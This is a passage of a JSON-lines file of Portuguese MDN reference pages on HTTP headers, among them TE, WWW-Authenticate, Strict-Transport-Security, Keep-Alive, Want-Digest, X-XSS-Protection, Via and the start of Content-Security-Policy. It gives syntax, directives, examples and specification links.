estão permitidos de ter acesso às métricas do servidor. A interface está somente disponível em contextos seguros (HTTPS) em alguns navegadores.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Server Timing # the-server-timing-header-field |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `PerformanceServerTiming` (en-US)"}
{"title":"TE - HTTP","text":"TE\n==\n\nO cabeçalho de requisição **`TE`** especifica a codificação de transferência que o agente de usuário está propício a aceitar (você poderia informalmente chamar ele de `Accept-Transfer-Encoding`, o que seria mais intuitivo).\n\n**Nota:** Em HTTP/2 - o cabeçalho `TE` somente é aceito se o valor `trailers` é colocado.\n\nVeja também o cabeçalho de resposta `Transfer-Encoding` para maiores detalhes sobre codificações de transferência. Note que `chunked` é sempre aceito para receptores HTTP/1.1 e você não precisa especificar `\"chunked\"` usando o cabeçalho `TE`. Entretanto, ele é útil para configurar se o cliente está aceitando campos de rabeira (*trailer fields*) em uma codificação de transferência fragmentada usando os valores \"*trailers*\".\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nTE: compress\nTE: deflate\nTE: gzip\nTE: trailers\n\n// Multiple directives, weighted with the quality value (en-US) syntax:\nTE: trailers, deflate;q=0.5\n```\n\nDiretivas\n---------\n\n`compress`\n\nUm formato usando o algoritmo de Lempel-Ziv-Welch (LZW) é aceito como nome de codificação de transferência.\n\n`deflate`\n\nUsar a estrutura zlib é aceito como nome da codificação de transferência.\n\n`gzip`\n\nUm formato usando a codificação Lempel-Ziv (LZ77), com um CRC 32-bit é aceito como nome da codificação de transferência.\n\n`trailers`\n\nIndica que o cliente está sujeito a aceitar campos *trailer* em uma codificação de transferência fragmentada.\n\n`q`\n\nQuando múltiplas codificações de transferência são aceitas, o parâmetro `q` da sintaxe de valor de qualidade (en-US) pode elencar codificações por preferência.\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7230, sessão 4.3: TE | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Transfer-Encoding`\n* `Trailer`\n* Codificação de transferência fragmentada (*Chunked transfer encoding*)"}
{"title":"NEL - HTTP","text":"NEL\n===\n\nO cabeçalho de resposta HTTP **`NEL`** é usado para configurar o registro de *logs* de requisição na rede.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nNEL: { \"report_to\": \"name_of_reporting_group\", \"max_age\": 12345, \"include_subdomains\": false, \"success_fraction\": 0.0, \"failure_fraction\": 1.0 }\n```\n\nEspecificações\n--------------\n\n| Especificação |\n| --- |\n| Registro de Erros de Rede |\n\nVeja também\n-----------\n\n* Explicação do Registro de Redes de Log [Network Error Logging (NEL)] (en-US)"}
{"title":"WWW-Authenticate - HTTP","text":"WWW-Authenticate\n================\n\nO cabeçalho da resposta HTTP **`WWW-Authenticate`** define o método de autenticação a ser usado para obter acesso ao recurso.\n\nO cabeçalho `WWW-Authenticate` é enviado junto a resposta `401` `Unauthorized`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nWWW-Authenticate: <type> realm=<realm>\n```\n\nDiretivas\n---------\n\n<type>\n\nTipo de autenticação. Um tipo comum de autenticação é \"Basic\". IANA mantém uma lista de esquema de autenticação.\n\nrealm=<realm>\n\nUma descrição da área protegida. Se nenhuma área for informada, os clientes frequentemente exibirão um hostname formatado.\n\ncharset=<charset>\n\nInforma ao cliente qual é o encoding do servidor quando for submetido usuário e senha. O único valor permitido é \"UTF-8\". Isso não está relacionado ao encoding da realm string.\n\nExemplos\n--------\n\nTipicamente, uma resposta do servidor contém um cabeçalho `WWW-Authenticate` que se parece com isso:\n```\n\nWWW-Authenticate: Basic\n\nWWW-Authenticate: Basic realm=\"Access to the staging site\", charset=\"UTF-8\"\n```\n\n\nVeja também autenticação HTTP para exemplos em como configurar servidores Apache ou nginx para proteger seu site com senha usando autenticação básica HTTP.\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7235, sessão 4.1: WWW-Authenticate | HTTP/1.1: Authentication |\n| RFC 7617 | The 'Basic' HTTP Authentication Scheme |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Autenticação HTTP\n* `Authorization`\n* `Proxy-Authorization`\n* `Proxy-Authenticate`\n* `401`, `403`, `407`"}
{"title":"Large-Allocation - HTTP","text":"Large-Allocation\n================\n\nO cabeçalho de resposta não padronizado **`Large-Allocation`** diz ao nevagador que a página que está sendo carregada vai performar uma grande alocação. Ele é atualmente implementado somente no Firefox, mas é inofensivo para ser enviado para qualquer navegador.\n\nAplicações WebAssembly ou *asm.js* podem usar grandes blocos contíguos de memória alocada. Para jogos complexos, por exemplo, estas alocações podem ser bem grandes, algumas vezes grandes na escala de 1GB. O `Large-Allocation` diz ao navegador que o conteúdo web que será carregado vai querer performar uma grande alocação de memória contígua e o navegador pode reagir a este cabeçalho iniciando um processo dedicado para carregador o documento, por exemplo.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nLarge-Allocation: 0\nLarge-Allocation: <megabytes>\n```\n\nDiretivas\n---------\n\n`0`\n\n0 é um valor especial que representa incerteza em relação a qual será o tamanho da alocação.\n\n`<megabytes>`\n\nO tamanho esperado da alocação a ser performada, em megabytes.\n\nExemplos\n--------\n```\n\nLarge-Allocation: 0\nLarge-Allocation: 500\n```\n\nTratamento de erros\n-------------------\n\nO cabeçalho `Large-Allocation` joga mensagens de aviso ou erro quando utilizado incorretamente. Você vai encontrá-los no console web.\n\nThis page was loaded in a new process due to a `Large-Allocation` header.\n\nEsta mensagem significa que o navegador viu o cabeçalho `Large-Allocation`, e conseguiu recarregar a página em um novo processo que deve ter mais memória contígua disponível.\n\nA `Large-Allocation` header was ignored due to the load being triggered by a non-GET request.\n\nQuando uma requisição `POST` é usada para carregar um documento, aquele carregamento não pode ser redirecionado para um novo processo. Este erro é mostrado quando carregando um documento com um cabeçalho `Large-Allocation` com um método HTTP que não seja GET. Isto pode ter sido causado devido ao documento estar sendo carregado por um formulário de submissão, por exemplo.\n\nA `Large-Allocation` header was ignored due to the presence of windows which have a reference to this browsing context through the frame hierarchy or `window.opener` (en-US).\n\nEste erro significa que o documento não foi carregado no nível mais alto de uma janela ou aba aberta, ou não aberta do usuário. Ele pode ocorrere nestas situações:\n\n* O documento com cabeçalho `Large-Allocation` foi carregado em um `<iframe>`. O Firefox não pode mover um iframe em um novo processo atualmente, então o documento deve carregar no novo processo.\n* O documento com cabeçalho `Large-Allocation` foi carregado em uma em uma janela que foi aberta pelo `window.open()` (en-US), `<a target=\"_blank\">` ou outros métodos similares sem `rel=\"noopener\"` ou a funcionalidade `\"noopener\"` sendo colocado. Estas janelas devem permanecer no mesmo processo que o abriu, já que eles podem se comunicar, significando que não podemos permití-los trocar processos.\n* O documento cabeçalho `Large-Allocation` abriu outra janela com `window.open()` (en-US), `<a target=\"_blank\">` ou outros métodos similares sem a funcionalidade `rel=\"noopener\"` ou `\"noopener\"` sem colocada. Isto é para o mesmo motivo, This is for the same reason as above, ou seja, que eles podem se comunicar e, portanto, não podemos permitir que eles alternem processos.\n\nA `Large-Allocation` header was ignored due to the document not being loaded out of process.\n\nO Firefox moveu para uma arquitetura multiprocesso, e esta arquitetura é necessária para suportar o cabeçalho `Large-Allocation`. Alguns Addons legado podem previnir o Firefox de usar esta nova, e mais rápida arquitetura multiprocesso. Se você tem um destes Addons, então nós vamos continuar a utilizar a antiga arquitetura de processo único para compatibilidade, e não pode lidar com o cabeçalho `Large-Allocation`.\n\nThis page would be loaded in a new process due to a `Large-Allocation` header, however `Large-Allocation` process creation is disabled on non-Win32 platforms.\n\nO Firefox atualmente somente suporta o cabeçalho `Large-Allocation` nas versões 32-bits do Windows, como fragmentação de memória não é um problema em versões 64-bits. Se você está rodando uma versão não *win32* do Firefox, este erro irá aparecer. Esta checagem pode ser desabilitada com a preferência de booleano \"dom.largeAllocation.\n\nforceEnable\" em about:config.\n\nEspecificações\n--------------\n\nNão faz parte de nenhuma especificação atualmente. Uma explicação das ideias por trás deste cabeçalho podem ser encontradas neste documento.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* WebAssembly"}
{"title":"Access-Control-Request-Method - HTTP","text":"Access-Control-Request-Method\n=============================\n\nO cabeçalho de requisição **`Access-Control-Request-Method`** é usado pelos navegadores quando executando uma preflight request, para deixar o servidor sabendo quais métodos HTTP vão ser usados quando a requisição verdadeira for feita. Este cabeçalho é necessário como toda requisição pré-vôo é um `OPTIONS` e não usa o mesmo método na requisição verdadeira.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nAccess-Control-Request-Method: <método>\n```\n\nDiretivas\n---------\n\n<método>\n\nUm dos métodos de requisição HTTP, por exemplo: `GET`, `POST` ou `DELETE`.\n\nExemplos\n--------\n```\n\nAccess-Control-Request-Method: POST\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Fetch Standard # http-access-control-request-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Access-Control-Request-Headers`"}
{"title":"Strict-Transport-Security - HTTP","text":"Strict-Transport-Security\n=========================\n\nO cabeçalho de resposta **HTTP `Strict-Transport-Security`** (geralmente abreviado como HSTS) permite que um site informe aos navegadores que ele deve ser acessado apenas por HTTPS, em vez de usar HTTP.\n\n|  |  |\n| --- | --- |\n| Tipo de Cabeçalho | Cabeçalho de Resposta |\n| Nome do cabeçalho proibido | não |\n\nSintaxe\n-------\n```\n\nStrict-Transport-Security: max-age=<expire-time>\nStrict-Transport-Security: max-age=<expire-time>; includeSubDomains\nStrict-Transport-Security: max-age=<expire-time>; preload\n```\n\nDiretivas\n---------\n\n`max-age=<expire-time>`\n\nO tempo, em segundos, que o navegador deve lembrar que um site só pode ser acessado usando HTTPS.\n\n`includeSubDomains` Optional\n\nSe este parâmetro opcional for especificado, esta regra também será aplicada a todos os subdomínios do site.\n\n`preload` Optional\n\nConsulte Preloading Strict Transport Security para detalhes. Não faz parte da especificação.\n\nDescrição\n---------\n\nSe um site aceitar uma conexão por meio de HTTP e redirecionar para HTTPS, os visitantes poderão se comunicar inicialmente com a versão não criptografada do site antes de serem redirecionados, se, por exemplo, o visitante digitar `http://www.foo.com/` ou até mesmo apenas foo.com Isso cria uma oportunidade para um ataque man-in-the-middle. O redirecionamento pode ser explorado para direcionar os visitantes a um site mal-intencionado em vez da versão segura do site original.\n\nO cabeçalho HTTP Strict Transport Security informa ao navegador que ele nunca deve carregar um site usando HTTP e deve converter automaticamente todas as tentativas de acessar o site usando HTTP para solicitações HTTPS.\n\n**Nota:** O cabeçalho `Strict-Transport-Security` é **ignorado** pelo navegador quando seu site é acessado usando HTTP; isso ocorre porque um invasor pode interceptar conexões HTTP e injetar o cabeçalho ou removê-lo. Quando seu site é acessado por HTTPS sem erros de certificado, o navegador sabe que seu site é capaz de HTTPS e honrará o `Strict-Transport-Security`cabeçalho.\n\n### Um cenário de exemplo\n\nVocê faz login em um ponto de acesso Wi-Fi gratuito em um aeroporto e começa a navegar na Web, visitando seu serviço bancário on-line para verificar seu saldo e pagar algumas contas. Infelizmente, o ponto de acesso que você está usando é, na verdade, o laptop de um hacker, e ele está interceptando sua solicitação HTTP original e redirecionando você para um clone do site do seu banco, em vez do real. Agora seus dados privados são expostos ao hacker.\n\nSegurança de Transporte Estrito (Strict Transport Security) resolve esse problema; desde que você tenha acessado o site do seu banco uma vez usando HTTPS, e o site do banco use o Strict Transport Security, seu navegador saberá usar automaticamente apenas HTTPS, o que impede que os hackers realizem um ataque man-in-the-middle.\n\n### Como o navegador lida com isso\n\nNa primeira vez em que seu site é acessado usando HTTPS e retorna o cabeçalho `Strict-Transport-Security`, o navegador registra essas informações, para que futuras tentativas de carregar o site usando HTTP usem o HTTPS automaticamente.\n\nQuando o tempo de expiração especificado pelo cabeçalho Strict-Transport-Security expirar, a próxima tentativa de carregar o site via HTTP prosseguirá normalmente, em vez de usar automaticamente o HTTPS.\n\nSempre que o cabeçalho Strict-Transport-Security for entregue ao navegador, ele atualizará o tempo de expiração desse site, para que os sites possam atualizar essas informações e impedir que o tempo limite expire. Caso seja necessário desativar a Segurança de Transporte Restrita, a configuração da duração máxima para 0 (através de uma conexão https) expirará imediatamente o cabeçalho `Strict-Transport-Security`, permitindo o acesso via http.\n\nPré-Carregamento - Strict Transport Security\n--------------------------------------------\n\nO Google mantém um serviço de pré-carregamento de HSTS. Ao seguir as diretrizes e enviar seu domínio com sucesso, os navegadores nunca se conectarão ao seu domínio usando uma conexão insegura. Enquanto o serviço é hospedado pelo Google, todos os navegadores declararam a intenção de usar (ou de fato começaram a usar) a lista de pré-carregamento. No entanto, não faz parte da especificação da HSTS e não deve ser tratada como oficial.\n\n* Informações sobre a lista de pré-carregamento de HSTS no Chrome: https://www.chromium.org/hsts\n* Consulta da lista de pré-carregamento do Firefox HSTS: nsSTSPreloadList.inc\nExemplos\n--------\n\nTodos os subdomínios presentes e futuros serão HTTPS para uma idade máxima de 1 ano. Isso bloqueia o acesso a páginas ou subdomínios que só podem ser veiculados por HTTP.\n```\n\nStrict-Transport-Security: max-age=31536000; includeSubDomains\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTTP Strict Transport Security (HSTS) # section-6.1 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Postagem no blog: HTTP Strict Transport Security has landed!\n* Postagem no blog: HTTP Strict Transport Security (force HTTPS)\n* Artigo OWASP: HTTP Strict Transport Security\n* Wikipedia: HTTP Strict Transport Security"}
{"title":"X-Forwarded-Host - HTTP","text":"X-Forwarded-Host\n================\n\nO cabeçalho **`X-Forwarded-Host`** (XFH) é um cabeçalho padrão de fato para identificar o *host* original requisitado pelo cliente no cabeçalho de requisição HTTP `Host`.\n\nNomes de *hosts* e portes de proxies reversos (balanceadores de carga, CDNs) pode diferir do servidor de origem que manipula a solicitação, neste caso o cabeçalho `X-Forwarded-Host` é útil para determinar qual Host foi originalmente utilizado.\n\nEste cabeçalho é utilizado para depuração, estatísticas, e gerar conteúdo dependente localmente e por design ele expõe informações privadas sensíveis, como o endereço IP do cliente. Então a privacidade do usuário deve estar em mente quando utilizando este cabeçalho.\n\nUma versão padronizada deste cabeçalho é o cabeçalho HTTP `Forwarded`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Request header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nX-Forwarded-Host: <host>\n```\n\nDiretivas\n---------\n\n<host>\n\nO nome do domínio do servidor encaminhado.\n\nExemplos\n--------\n```\n\nX-Forwarded-Host: id42.example-cdn.com\n```\n\nEspecificações\n--------------\n\nNão pertence a nenhuma especificação atualmente. A versão padronizada do cabeçalho é `Forwarded`.\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}Veja também\n-----------\n\n* `Host`\n* `Forwarded`\n* `X-Forwarded-For`\n* `X-Forwarded-Proto`"}
{"title":"Keep-Alive - HTTP","text":"Keep-Alive\n==========\n\nO cabeçalho **`Keep-Alive`** permite que o remetente indique como a conexão deve ser usada, para definir um tempo limite e um máximo de requisições.\n\n**Nota:** O `Connection` cabeçalho precisa ser definido como \"keep-alive\" para isso funcionar , `Connection` e `Keep-Alive` são ignorados em conexões HTTP/2; Gerenciamento de conexões são feitos por outros mecanismos.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | General header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nKeep-Alive: parametros\n```\n\nDiretivas\n---------\n\n*parâmetros*\n\nUma vírgula separa a lista de parâmetros, Cada consiste de um identificador e um valor separado pelo sinal de igualdade (`'='`). São possíveis os seguintes identificadores:\n\n* `timeout`: indicando a quantidade mínima de tempo que uma conexão deve ser mantida aberta (em segundos). Observe que os tempos limite maiores que o tempo limite do TCP podem ser ignorados se nenhuma mensagem TCP keep-alive estiver definida na camada de transporte.\n* `max`: indicando o número máximo de pedidos que podem ser enviados nesta conexão antes de fechá-lo. Menor que `0`, este valor será ignorado por conexões non-pipelined, pois outra requisição será enviada na próxima resposta. Um HTTP pipeline pode usar isso para limitar o pipelining.\n\nExemplos\n--------\n\nUma resposta content o cabeçalho `Keep-Alive`:\n```\n\nHTTP/1.1 200 OK\nConnection: Keep-Alive\nContent-Encoding: gzip\nContent-Type: text/html; charset=utf-8\nDate: Thu, 11 Aug 2016 15:23:13 GMT\nKeep-Alive: timeout=5, max=1000\nLast-Modified: Mon, 25 Jul 2016 04:32:39 GMT\nServer: Apache\n\n(body)\n```\n\nEspecificações\n--------------\n\n| Specification | Title |\n| --- | --- |\n| HyperText Transport Protocol Keep-Alive Header | The Keep-Alive Header (Experimental specification) |\n| RFC 7230, appendix A.1.2: Keep-Alive | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Connection`\n* Connection management in HTTP/1.x"}
{"title":"Proxy-Authenticate - HTTP","text":"Proxy-Authenticate\n==================\n\nO cabeçalho de resposta HTTP **`Proxy-Authenticate`** define o método de autenticação que deve ser utilizado para conseguir acesso ao recurso por trás de um proxy server. Ele autentica a requisição ao servidor proxy, permitindo que transmita a requisição em frente.\n\nO cabeçalho `Proxy-Authenticate` é enviado junto com um `407` `Proxy Authentication Required`.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nProxy-Authenticate: <type> realm=<realm>\n```\n\nDiretivas\n---------\n\n<type>\n\nTipo de autenticação. Um tipo comum é \"Basic\". A IANA mantém uma lista de esquemas de autenticação.\n\nrealm=<realm>\n\nA descrição da área protegida, o reino. Se um reino não foi especificado, clientes geralmente mostram um nome de *host* formatado.\n\nExemplos\n--------\n```\n\nProxy-Authenticate: Basic\n\nProxy-Authenticate: Basic realm=\"Access to the internal site\"\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7235, sessão 4.3: Proxy-Authenticate | HTTP/1.1: Authentication |\n| RFC 7617 | The 'Basic' HTTP Authentication Scheme |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Autenticação HTTP\n* `Authorization`\n* `Proxy-Authorization`\n* `WWW-Authenticate`\n* `401`, `403`, `407`"}
{"title":"Want-Digest - HTTP","text":"Want-Digest\n===========\n\nO cabeçalho HTTP **`Want-Digest`** é primordialmente usado em uma requisição HTTP, para pedir ao respondedor para prover uma digestão (digest (en-US)) do recurso requisitado usando o cabeçalho de resposta `Digest`.\n\nO cabeçalho contém identificadores para um ou mais algoritmos de digestão que o remetente deseja que o respondedor use para criar a digestão. O remetente pode usar valores de qualidade (en-US) para indicar sua preferência ordenando dentre as escolhas que ele oferece.\n\nSe `Want-Digest` não inclui nenhum algoritmo de digestão que aquele servidor suporta, o servidor pode responder com:\n\n* uma digestão calculada usando outro algoritmo de digestão, ou\n* um erro `400 Bad Request`, e inclui outro cabeçalho `Want-Digest` com a resposta, listando os algoritmos que ele suporta.\n\nVeja a página do cabeçalho `Digest` para mais informações.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | General header |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nWant-Digest: <digest-algorithm>\n\n// Múltiplos algoritmos, pesados com a sintaxe de qualidade de valor:\nWant-Digest: <digest-algorithm><q-value>,<digest-algorithm><q-value>\n```\n\nDiretivas\n---------\n\n`<digest-algorithm>`\n\nAlgoritmos de digestão suportados são definidos na RFC 3230 e RFC 5843, e inclui `SHA-256` e `SHA-512`. Alguns algoritmos suportados, incluindo `unixsum` e `MD5` são sujeitos a colisões e não são apropriados para aplicações em que resistência à colisão é importante.\n\n`<q-value>`\n\nO valor de qualidade (en-US) para aplicar aquela opção.\n\nExemplos\n--------\n```\n\nWant-Digest: sha-256\nWant-Digest: SHA-512;q=0.3, sha-256;q=1, md5;q=0\n```\n\n### Operação básica\n\nO remetente provém a lista de digestões que ele está preparado para aceitar, e o servidor usa um deles:\n```\n\nRequest:\n\n  GET /item\n  Want-Digest: sha-256;q=0.3, sha;q=1\n\nResponse:\n\n  HTTP/1.1 200 Ok\n  Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=\n```\n\n### Digestões não suportadas\n\nO servidor não suporta nenhum do algoritmos de digestão requisitados, então ele usa um algoritmo diferente:\n```\n\nRequest:\n\n  GET /item\n  Want-Digest: sha;q=1\n\nResponse:\n\n  HTTP/1.1 200 Ok\n  Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=\n```\n\n\nO servidor não suporta nenhuma dos algoritmos de digestão requisitados, então responde com um erro 400 e inclui outro cabeçalho `Want-Digest`, listando os algoritmos que ele suporta:\n```\n\nRequest:\n\n  GET /item\n  Want-Digest: sha;q=1\n\nResponse:\n\n  HTTP/1.1 400 Bad Request\n  Want-Digest: sha-256, sha-512\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| draft-ietf-httpbis-digest-headers-latest | Resource Digests for HTTP |\n\nEste cabeçalho foi originalmente definido na RFC 3230, mas a definição de \"representação selecionada\" na RFC 7231 fez a definição original ficar inconsistente com as atuais especificações HTTP. Quando lançado, o rascunho \"Digestões de Recursos para HTTP\" tornará a RFC 3230 obsoleta e vai atualizar o padrão para ficar consistente.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Digest`"}
{"title":"X-XSS-Protection - HTTP","text":"X-XSS-Protection\n================\n\nO cabeçalho de resposta HTTP **`X-XSS-Protection`** é uma funcionalidade do Internet Explorer, Chrome e Safari que impede páginas de carregarem quando eles detectam ataques de scripting entre sites (XSS (en-US)) refletidos. Apesar destas proteções serem majoritariamente desnecessárias em navegadores modernos em sites utilizando uma forte `Content-Security-Policy` que desabilita o uso de JavaScript *inline* (`'unsafe-inline'`), eles ainda podem oferecer proteções para usuários de navegadores mais antigos que ainda não suportam CSP (en-US).\n\n**Nota:** - Chrome removeu o XSS Auditor deles\n\n* Firefox não tem, e não irá implementar `X-XSS-Protection`\n* Edge aposentou o filtro XSS delesIsso significa que se você não precisa dar suporte para navegadores legado, é recomendado que você use `Content-Security-Policy` sem permitir scripts `unsafe-inline` ao invés disso.\n\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nX-XSS-Protection: 0\nX-XSS-Protection: 1\nX-XSS-Protection: 1; mode=block\nX-XSS-Protection: 1; report=<reporting-uri>\n```\n\n\n0\n\nDesabilita filtragem XSS.\n\n1\n\nHabilita filtragem XSS (geralmente padrão em navegadores). Se um ataque de scripting entre sites é detectado, o navegador irá higienizar a página (remover as partes inseguras).\n\n1; mode=block\n\nHabilita filtragem XSS. Ao invés de higienizar a página, o navegador irá impedir a renderização da página em que o ataque foi detectado.\n\n1; report=<reporting-URI> (Chromium somente)\n\nHabilita filtragem XSS. Se o ataque de scripting entre sites é detectado, o navegador irá higienizar a página e reportar a violação. Isso utiliza a funcionalidade da diretiva CSP `report-uri` (en-US) para enviar o relatório.\n\nExemplos\n--------\n\nBloqueia páginas de carregarem quando elas detectam ataques XSS refletidos:\n\n\n```bash\nX-XSS-Protection: 1; mode=block\n```\n\n\nPHP\n\n\n```php\nheader(\"X-XSS-Protection: 1; mode=block\");\n```\n\n\nApache (.htaccess)\n\n\n```bash\n<IfModule mod_headers.c>\n  Header set X-XSS-Protection \"1; mode=block\"\n</IfModule>\n```\n\n\nNginx\n\n\n```bash\nadd_header \"X-XSS-Protection\" \"1; mode=block\";\n```\n\nEspecificações\n--------------\n\nNão faz parte de nenhuma especificação ou rascunho.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Content-Security-Policy`\n* Controlando o XSS Filter (Controlling the XSS Filter) – Microsoft\n* Entendendo o XSS Auditor (Understanding XSS Auditor) – Virtue Security\n* O mal-entendido X-XSS-Protection (The misunderstood X-XSS-Protection) – blog.innerht.ml"}
{"title":"Via - HTTP","text":"Via\n===\n\nO cabeçalho geral **`Via`** é adicionado por proxies, ambos diretos e reversos, e pode aparecer em cabeçalhos de requisição e de cabeçalhos de resposta. Ele é usado para rastrear mensagens direcionadas, evitando laços de requisição, e identificando as capacidades dos protocolos dos remetentes ao longo da cadeia de requisição/resposta.\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | General header |\n| Forbidden header name | sim |\n\nSintaxe\n-------\n```\n\nVia: [ <protocol-name> \"/\" ] <protocol-version> <host> [ \":\" <port> ]\nor\nVia: [ <protocol-name> \"/\" ] <protocol-version> <pseudonym>\n```\n\nDiretivas\n---------\n\n<protocol-name>\n\nOpcional. O nome do protocolo usado, como \"HTTP\".\n\n<protocol-version>\n\nA versão do protocolo usado, como \"1.1\".\n\n<host> e <port>\n\nURL pública do proxy e sua porta.\n\n<pseudonym>\n\nNome/pseudônimo de um proxy interno.\n\nExemplos\n--------\n```\n\nVia: 1.1 vegur\nVia: HTTP/1.1 GWA\nVia: 1.0 fred, 1.1 p.example.net\n```\n\nEspecificações\n--------------\n\n| Especificação | Título |\n| --- | --- |\n| RFC 7230, sessão 5.7.1: Via | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `X-Forwarded-For`\n* Biblioteca proxy Vegur do Heroku"}
{"title":"Content-Security-Policy - HTTP","text":"Content-Security-Policy\n=======================\n\nO cabeçalho de resposta HTTP **`Content-Security-Policy`** permite aos administradores do site, ter controle sobre os recursos que o agente de usuário é permitido carregar para uma certa página. Com algumas pequenas exceções, políticas majoritariamente envolvem especificar as origens do servidor e pontos de acessos dos *scripts*. Isso ajuda contra ataques de *scripting* entre sites (XSS (en-US)).\n\nPara mais informações, veja o artigo introdutório em Política de Segurança de Conteúdo (*Content Security Policy*)(CSP).\n\n|  |  |\n| --- | --- |\n| Tipo de cabeçalho | Response header (en-US) |\n| Forbidden header name | não |\n\nSintaxe\n-------\n```\n\nContent-Security-Policy: <policy-directive>; <policy-directive>\n```\n\nDiretivas\n---------\n\n### Fetch directives (en-US)\n\nDiretivas de busca (*Fetch directives*) controlam as localizações dos quais certos tipos de recursos podem ser carregados.\n\n#### Lista de Diretivas de busca de Política de Segurança de Conteúdo (CSP)\n\n`child-src` (en-US)\n\nDefine uma origem válida para web workers e contextos aninhados de navegação carregados usando elementos como `<frame>` (en-US) e `<iframe>`.\n\n**Aviso:** Ao invés de **`child-src`**, os autores que querem regular contextos de navegação aninhadas e trabalhores devem usar as diretivas `frame-src` (en-US) e `worker-src` (en-US), respectivamente.\n\n`connect-src` (en-US)\n\nRestringe a URL que pode ser carregada usando interfaces de script.\n\n`default-src` (en-US)\n\nFunciona como recuo para a outra fetch directives (en-US).\n\n`font-src` (en-US)\n\nEspecifica origens válidas para as fontes de letras carregadas usando `@font-face`.\n\n`frame-src` (en-US)\n\nEspecifica origens válidas para carregamento de contextos de navegação aninhados usando elementos como `<frame>` (en-US) e `<iframe>`.\n\n`img-src` (en-US)\n\nEspecifica origens válidas para imagens e ícones.\n\n`manifest-src` (en-US)\n\nEspecifica origens válidas dos arquivos de manifesto da aplicação.\n\n`media-src` (en-US)\n\nEspecifica origens válidas para carregar dados de media usando os elementos `<audio>` , `<video>` e `<track>`.\n\n`object-src` (en-US)\n\nEspecifica origens válidas para os elementos `<object>` (en-US), `<embed>`, e `<applet>`.\n\n**Nota:** Elementos controlados por `object-src` sejam talvez considerados elementos HTML legados e não estão recebendo novas funcionalidades padrão (como os atributos de segurança `sandbox` ou `allow` para `<iframe>`). Sendo assim é **recomendado** restringir o uso desta diretiva (e.g. colocar explicitamente `object-src 'none'` se possível).\n\n`prefetch-src` (en-US)\nExperimental\n\nEspecifica origens válidas para serem pré-carregadas ou pré-renderizadas.\n\n`script-src` (en-US)\n\nEspecifica origens válidas para JavaScript.\n\n`script-src-elem` (en-US)\nExperimental\n\nEspecifica origens válidas para elementos JavaScript `<script>`.\n\n`script-src-attr` (en-US)\nExperimental\n\nEspecifica origens válidas para *handlers* de eventos JavaScript *inline*.\n\n`style-src` (en-US)\n\nEspecifica origens válidas para arquivos de estilo.\n\n`style-src-elem` (en-US)\nExperimental\n\nEspecifica origens válidas para elementos de estilo `<style>` e elementos 